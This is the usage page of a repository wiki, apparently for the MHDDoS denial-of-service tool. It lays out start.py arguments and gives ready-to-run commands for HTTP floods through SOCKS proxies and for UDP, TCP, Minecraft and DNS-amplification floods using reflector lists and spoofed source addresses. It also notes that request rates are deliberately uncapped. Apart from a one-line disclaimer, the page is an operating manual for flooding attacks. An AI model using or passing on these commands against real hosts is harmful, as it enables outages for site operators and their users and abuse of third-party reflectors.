Repository navigation
Usage
Important
The argument order differs between Layer 7 and Layer 4. Check the target position before copying an example.
flowchart LR
A[start.py] --> B{first argument}
B -->|Layer 7 method| C[url + proxy args]
B -->|Layer 4 method| D[ip:port + threads/duration]
B -->|HELP, TOOLS, DOCTOR, WEB, STOP| E[command]
python3 start.py <method> <target> <options...>
The target and the options depend on the layer. Run python3 start.py HELP for the built-in summary.
python3 start.py <method> <url> <socks_type> <threads> <proxylist> <rpc> <duration> [debug]
| Position | Argument | Notes |
|---|---|---|
| 1 | method | One of the Layer 7 methods |
| 2 | url |
http:// or https://, or a bare host |
| 3 | socks_type |
0 all, 1 HTTP, 4 SOCKS4, 5 SOCKS5, 6 random |
| 4 | threads | Number of worker threads |
| 5 | proxylist | File inside files/proxies/, for example http.txt
|
| 6 | rpc | Requests per connection |
| 7 | duration | Seconds |
| 8 | debug | Optional; any value enables debug logs |
Examples:
# 100 threads, no proxies, 10 requests per connection, 60 seconds
python3 start.py GET https://example.com 0 100 http.txt 10 60
# SOCKS5 proxies, 4 requests per connection, 30 seconds
python3 start.py CFB https://example.com 5 50 socks5.txt 4 30
# Debug logging
python3 start.py POST https://example.com 0 20 http.txt 5 30 debugAn empty proxy file is allowed. The run then goes out without proxies.
python3 start.py <method> <ip:port> <threads> <duration> [reflector | socks_type proxylist] [debug]
| Position | Argument | Notes |
|---|---|---|
| 1 | method | One of the Layer 4 methods |
| 2 | ip:port | Host or IP plus port; port defaults to 80 |
| 3 | threads | Number of worker threads |
| 4 | duration | Seconds |
| 5 | optional | Reflector file, or a proxy type |
| 6 | optional | Proxy file when position 5 is a proxy type |
| last | debug | Optional |
Examples:
# Plain UDP
python3 start.py UDP 192.0.2.10:80 100 60
# TCP through SOCKS5 proxies
python3 start.py TCP 192.0.2.10:80 100 60 5 socks5.txt
# Minecraft through proxies
python3 start.py MINECRAFT 192.0.2.10:25565 100 60 5 socks5.txt
# DNS amplification with a reflector list
python3 start.py DNS 192.0.2.10:80 100 60 dns.txt
# Debug logging
python3 start.py UDP 192.0.2.10:80 100 60 debugOnly MINECRAFT, MCBOT, TCP, CPS, and CONNECTION accept a Layer 4 proxy list. Amplification methods require a reflector file and a spoofable source address. See Amplification.
| Command | What it does |
|---|---|
python3 start.py HELP |
Show the method summary |
python3 start.py --version |
Print the version |
python3 start.py TOOLS |
Open the tools console |
python3 start.py DOCTOR |
Check the local installation |
python3 start.py WEB |
Start the web panel |
python3 start.py STOP |
Stop other runs from this checkout |
HELP, TOOLS, DOCTOR, and WEB do not need a target.
Add an extra argument at the end:
python3 start.py GET https://example.com 0 50 http.txt 5 60 debugDebug mode prints per-second PPS/BPS and worker errors. It is the same switch that used to be described as verbose mode.
-
Ctrl+Cstops the foreground process. - In another terminal,
python3 start.py STOPstops otherstart.pyprocesses started from the same checkout. - The web panel has a stop action per task.
STOP does not kill unrelated Python processes or runs from a different clone.
- Threads and RPC are intentionally not capped. Very high values can exhaust file descriptors or memory.
- Proxy files are downloaded and checked the first time they are requested if the file is missing.
- Layer 4 methods that use raw sockets need root on Linux or
NET_RAWin Docker. - Layer 7 methods use TLS 1.2+ when the target is HTTPS. Certificate and hostname verification are disabled because the tool must be able to test arbitrary hosts.
MHDDoS is for authorized testing only. Use it on systems you own or have written permission to test.
Issues · Discussions · Releases · Contributing · MIT License
MHDDoS
Start here
Methods
Configuration
Interfaces
Help
Community
Project